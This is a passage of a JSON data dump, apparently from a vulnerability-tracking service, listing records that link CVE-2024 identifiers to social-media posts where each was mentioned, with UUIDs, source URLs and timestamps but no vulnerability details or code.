"source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpod3ge2q", "content": "", "creation_timestamp": "2025-01-07T06:33:17.911497Z"}, {"uuid": "35f8b0f6-dd24-4b8b-a553-49f9b2bc7fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12384", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpogttq2y", "content": "", "creation_timestamp": "2025-01-07T06:33:18.442436Z"}, {"uuid": "53810789-dda5-4ee4-94dd-d5deede4342b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12535", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpopd7k2g", "content": "", "creation_timestamp": "2025-01-07T06:33:19.542241Z"}, {"uuid": "361aeae0-8b32-4cdd-99c7-56ff09c8dc5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12505", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfgqkprwhk2e", "content": "", "creation_timestamp": "2025-01-11T03:15:59.924301Z"}, {"uuid": "116e9f22-d99a-43fa-a13d-5e6962ba2a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12855", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7yqhwqyv2h", "content": "", "creation_timestamp": "2025-01-08T10:53:45.493261Z"}, {"uuid": "fe11def6-21ac-47b4-8959-fe66f438940e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113822502051441311", "content": "", "creation_timestamp": "2025-01-13T18:39:10.455893Z"}, {"uuid": "5a4f66f8-c295-44dc-b685-bd24ff4d24ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113822502051441311", "content": "", "creation_timestamp": "2025-01-13T18:39:10.497019Z"}, {"uuid": "745da44c-4861-4d5f-96a0-f9a5c282d78c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113822502051441311", "content": "", "creation_timestamp": "2025-01-13T18:39:10.538395Z"}, {"uuid": "b2456d00-e5c6-4480-8377-c9c34717e9ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113822502051441311", "content": "", "creation_timestamp": "2025-01-13T18:39:10.658960Z"}, {"uuid": "0ebfa5cb-0e0b-45fe-a742-ad1b2ad9d209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113833017944901379", "content": "", "creation_timestamp": "2025-01-15T15:13:29.919794Z"}, {"uuid": "c127247a-16b2-436e-a9db-a0b3f8174837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12853", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7yqi254g2w", "content": "", "creation_timestamp": "2025-01-08T10:53:46.072896Z"}, {"uuid": "0627bb19-0cd1-41b3-bf8c-d7c0ebf350fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113799182687696299", "content": "", "creation_timestamp": "2025-01-09T15:48:44.873757Z"}, {"uuid": "9f23350b-8fa5-43a9-8f34-b6a191ed62ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfs2ngcqry2r", "content": "", "creation_timestamp": "2025-01-15T15:15:45.216119Z"}, {"uuid": "69d90931-bdc7-4f6c-9eab-44680c8e4299", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12613", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfu46mwo5b2u", "content": "", "creation_timestamp": "2025-01-16T10:48:35.706290Z"}, {"uuid": "01452138-4ca6-46bb-b65e-4e99ba576c7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12583", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lf4q6rtkck22", "content": "", "creation_timestamp": "2025-01-07T03:42:43.465948Z"}, {"uuid": "2a640d85-489a-42e6-9059-f99208ed28ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12328", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7yqiprgp2q", "content": "", "creation_timestamp": "2025-01-08T10:53:49.204943Z"}, {"uuid": "fcb05d93-638a-43ba-8dc2-ab307004fb23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfomasfcjn2z", "content": "", "creation_timestamp": "2025-01-14T06:20:10.760643Z"}, {"uuid": "f5535626-db69-4a5d-9dcf-1bb1b86f2e57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12022", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785005172029402", "content": "", "creation_timestamp": "2025-01-07T03:43:12.879819Z"}, {"uuid": "3b8b4a63-02b1-4cfc-b709-d86e3932ffd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12098", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785005186555443", "content": "", "creation_timestamp": "2025-01-07T03:43:13.238600Z"}, {"uuid": "99b12f97-e984-420c-8f23-dbb25420c15a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12402", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785005203464416", "content": "", "creation_timestamp": "2025-01-07T03:43:13.493073Z"}, {"uuid": "27c149b8-29ab-41ef-89bd-584a7ba7e6bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12261", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpnhjfa2b", "content": "", "creation_timestamp": "2025-01-07T06:33:14.064873Z"}, {"uuid": "33bcbeaf-92fc-43c0-9202-94580dfec51e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12440", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpnqlcr2u", "content": "", "creation_timestamp": "2025-01-07T06:33:15.141655Z"}, {"uuid": "0d5174dd-af06-499f-86c6-84cd486abe8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12383", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpo7xys2g", "content": "", "creation_timestamp": "2025-01-07T06:33:17.349787Z"}, {"uuid": "986c4d0a-505a-480e-8196-8e452bd500cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12131", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5sd4usyu2q", "content": "", "creation_timestamp": "2025-01-07T13:53:34.906968Z"}, {"uuid": "56379d21-9fa2-436c-8269-85273873dc31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12416", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785005219598891", "content": "", "creation_timestamp": "2025-01-07T03:43:13.688812Z"}, {"uuid": "c7ad40e7-d618-463e-b781-8d5003e29e72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12073", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpnn76s2e", "content": "", "creation_timestamp": "2025-01-07T06:33:14.624833Z"}, {"uuid": "278016ca-c665-407c-b5ab-6e26ba1cfd86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpntwz72h", "content": "", "creation_timestamp": "2025-01-07T06:33:15.704207Z"}, {"uuid": "9048c406-de87-41e9-aad3-0ada664ffcf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12464", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpo4pj22g", "content": "", "creation_timestamp": "2025-01-07T06:33:16.805309Z"}, {"uuid": "e79cecc8-f22f-40cc-b605-d1c7ef6fc950", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788120858254362", "content": "", "creation_timestamp": "2025-01-07T16:55:34.468880Z"}, {"uuid": "282290d9-4e07-4c74-a757-c58fa31b20f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12712", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7yqidwk42k", "content": "", "creation_timestamp": "2025-01-08T10:53:47.661625Z"}, {"uuid": "9c40d209-fa0c-4bfe-8092-8f0e970ab845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12439", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpolz2r2q", "content": "", "creation_timestamp": "2025-01-07T06:33:19.054552Z"}, {"uuid": "2ca90f8b-f1a3-437d-91ac-a68e2996ecab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5sd5duoz2k", "content": "", "creation_timestamp": "2025-01-07T13:53:35.781261Z"}, {"uuid": "9004d771-df9e-4da8-a98b-9d7a81ed898d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/schubringglobal.bsky.social/post/3lfd2dkoyuh2c", "content": "", "creation_timestamp": "2025-01-09T16:00:20.199841Z"}, {"uuid": "ed14e77e-57a0-4d38-a101-11dc7d49fff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12403", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfrmbnoe6s2q", "content": "", "creation_timestamp": "2025-01-15T10:58:37.947089Z"}, {"uuid": "ece2ab9b-3826-47cc-84d3-07198d338982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12614", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfu46oydey2h", "content": "", "creation_timestamp": "2025-01-16T10:48:38.462204Z"}, {"uuid": "075ef41b-6e18-43ad-a696-4b030fc40688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785676301641015", "content": "", "creation_timestamp": "2025-01-07T06:33:54.734527Z"}, {"uuid": "ddc404f2-25d4-452c-9fba-60e2d2f2e45b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12738", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5sd5hann2h", "content": "", "creation_timestamp": "2025-01-07T13:53:36.237662Z"}, {"uuid": "16ae905a-8da0-4d3d-a3bc-0121919432cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12427", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfu46p6sd72r", "content": "", "creation_timestamp": "2025-01-16T10:48:39.049458Z"}, {"uuid": "183959f4-99e0-4a29-8993-0798f8523327", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12304", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113807580855173158", "content": "", "creation_timestamp": "2025-01-11T03:24:31.629355Z"}, {"uuid": "068a0795-439b-42dc-8038-ce93d45a41b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12423", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfrmbonces2e", "content": "", "creation_timestamp": "2025-01-15T10:58:40.771685Z"}, {"uuid": "d14da0d3-d248-491a-b8b0-194de29e14c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12337", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113792436170808261", "content": "", "creation_timestamp": "2025-01-08T11:13:01.144038Z"}, {"uuid": "6fb2bca3-c17e-4182-9f54-acd9f86ab9a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://seclists.org/bugtraq/2013/Jun/8", "content": "", "creation_timestamp": "2013-05-31T11:34:13.000000Z"}, {"uuid": "046b2f56-faa9-4ccf-8a61-9dce2c58d0b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12818", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfrmboekw32u", "content": "", "creation_timestamp": "2025-01-15T10:58:39.741351Z"}, {"uuid": "0a136dd9-8be7-4dda-875a-4ca4a94a8b43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12419", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785064242184668", "content": "", "creation_timestamp": "2025-01-07T03:58:14.427384Z"}, {"uuid": "f8386730-0279-490c-8bb6-ebfe9a873654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfrmbojwna2k", "content": "", "creation_timestamp": "2025-01-15T10:58:40.262027Z"}, {"uuid": "6538aac0-e2b7-4bb7-b3bc-9668d798446e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12528", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785064277532854", "content": "", "creation_timestamp": "2025-01-07T03:58:14.804417Z"}, {"uuid": "892b142c-d7d0-4679-9cb7-16678e9de282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12437", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785725707848489", "content": "", "creation_timestamp": "2025-01-07T06:46:27.446627Z"}, {"uuid": "3fa8c0f8-4746-4ff8-9921-7e4c5306f5fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf65miqw7v2e", "content": "", "creation_timestamp": "2025-01-07T17:15:40.938643Z"}, {"uuid": "a9dc866c-20e3-4be9-ac09-fa29558176ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12538", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785064291904237", "content": "", "creation_timestamp": "2025-01-07T03:58:15.074348Z"}, {"uuid": "e3666622-678f-4808-aed9-5dc1a85dba1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12430", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf65mljqyn2e", "content": "", "creation_timestamp": "2025-01-07T17:15:43.764312Z"}, {"uuid": "6f46f424-ea9e-43fa-92ee-d13db403537e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12337", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7zxsnpbw2a", "content": "", "creation_timestamp": "2025-01-08T11:15:44.438765Z"}, {"uuid": "dcef1c8f-284c-489f-84d6-d3bcf635ff38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12540", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785064306284750", "content": "", "creation_timestamp": "2025-01-07T03:58:16.250450Z"}, {"uuid": "8fc7c1aa-bf34-417e-8a73-c2e271dae4e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785733236191116", "content": "", "creation_timestamp": "2025-01-07T06:48:22.536194Z"}, {"uuid": "28cf6623-ec53-491c-b385-b48bef664970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf65mljqyn2e", "content": "", "creation_timestamp": "2025-01-07T17:15:43.803878Z"}, {"uuid": "c4b48393-f945-442f-9ec2-6b6eac372c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12535", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785733275961310", "content": "", "creation_timestamp": "2025-01-07T06:48:23.180514Z"}, {"uuid": "4d603213-0cb7-4553-9455-dfc1789afc14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lfgslq7fg22i", "content": "", "creation_timestamp": "2025-01-11T03:52:26.103158Z"}, {"uuid": "d5f90565-1477-405d-9340-c3c854013638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113825391866727615", "content": "", "creation_timestamp": "2025-01-14T06:54:04.861134Z"}, {"uuid": "5e637b50-3b23-406c-b72a-c28378cdb798", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf534f367h2h", "content": "", "creation_timestamp": "2025-01-07T06:58:12.555006Z"}, {"uuid": "e3f59900-ba2f-4d5a-a373-574f25b8d0e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12337", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfa43vg36z2b", "content": "", "creation_timestamp": "2025-01-08T11:53:50.071581Z"}, {"uuid": "eef028f5-0936-47fb-8748-53ea22ecbcdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfgta3nfqg2e", "content": "", "creation_timestamp": "2025-01-11T04:03:44.396495Z"}, {"uuid": "217ea17a-8319-4be0-bff4-0f1e10a7d038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12633", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf534f6nuw2w", "content": "", "creation_timestamp": "2025-01-07T06:58:12.984601Z"}, {"uuid": "43809f2e-2c88-417a-a2f9-703501d05ca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12624", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785784763069461", "content": "", "creation_timestamp": "2025-01-07T07:01:28.565681Z"}, {"uuid": "b532f5f1-9309-4f7b-8067-6ad1d6e4d2d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12204", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfgta4aycc2r", "content": "", "creation_timestamp": "2025-01-11T04:03:46.274864Z"}, {"uuid": "3ce253e8-b5cc-4203-a427-c98afd2efc44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12541", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785123309410684", "content": "", "creation_timestamp": "2025-01-07T04:13:15.570275Z"}, {"uuid": "ca02c9a2-c7cb-4116-bace-fb3f49777157", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12495", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785784712069765", "content": "", "creation_timestamp": "2025-01-07T07:01:27.809163Z"}, {"uuid": "98dce4fb-708d-4c4c-ad8b-a2e9cbd4738d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113797613241927061", "content": "", "creation_timestamp": "2025-01-09T09:09:36.829548Z"}, {"uuid": "d4fbc791-36cf-43b7-bb38-4baf785703ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12472", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfgta45ppk2q", "content": "", "creation_timestamp": "2025-01-11T04:03:45.732664Z"}, {"uuid": "21a4a76f-cf08-4c0d-89a3-c6cb7dd99309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113825455589276906", "content": "", "creation_timestamp": "2025-01-14T07:10:21.020586Z"}, {"uuid": "3ab1eaf4-adf4-427e-9ffb-67631d0d5eb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12557", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785123325157140", "content": "", "creation_timestamp": "2025-01-07T04:13:15.993232Z"}, {"uuid": "895d2490-ca77-494c-a44d-83fd9829eec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12499", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785784728547244", "content": "", "creation_timestamp": "2025-01-07T07:01:28.091437Z"}, {"uuid": "61b7e6ab-22e1-4090-971f-6ff82b8a8d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12627", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfgta4e4s22q", "content": "", "creation_timestamp": "2025-01-11T04:03:46.863978Z"}, {"uuid": "e6937418-ab18-4c91-88f1-215392d7abe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12559", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785123339765760", "content": "", "creation_timestamp": "2025-01-07T04:13:18.616358Z"}, {"uuid": "f595a5e1-5cef-4c3a-a9ee-722065244e21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12781", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785784777858979", "content": "", "creation_timestamp": "2025-01-07T07:01:29.451449Z"}, {"uuid": "37c5efd3-8692-43f0-bb46-0c3014838379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcdpg5lmk2i", "content": "", "creation_timestamp": "2025-01-09T09:15:20.074680Z"}, {"uuid": "7ab473cc-73a3-4c76-aec6-277ff08478e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12006", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113825455573584450", "content": "", "creation_timestamp": "2025-01-14T07:10:21.103609Z"}, {"uuid": "57de9d56-0ec6-441e-beb7-f90e8d9abdb3", 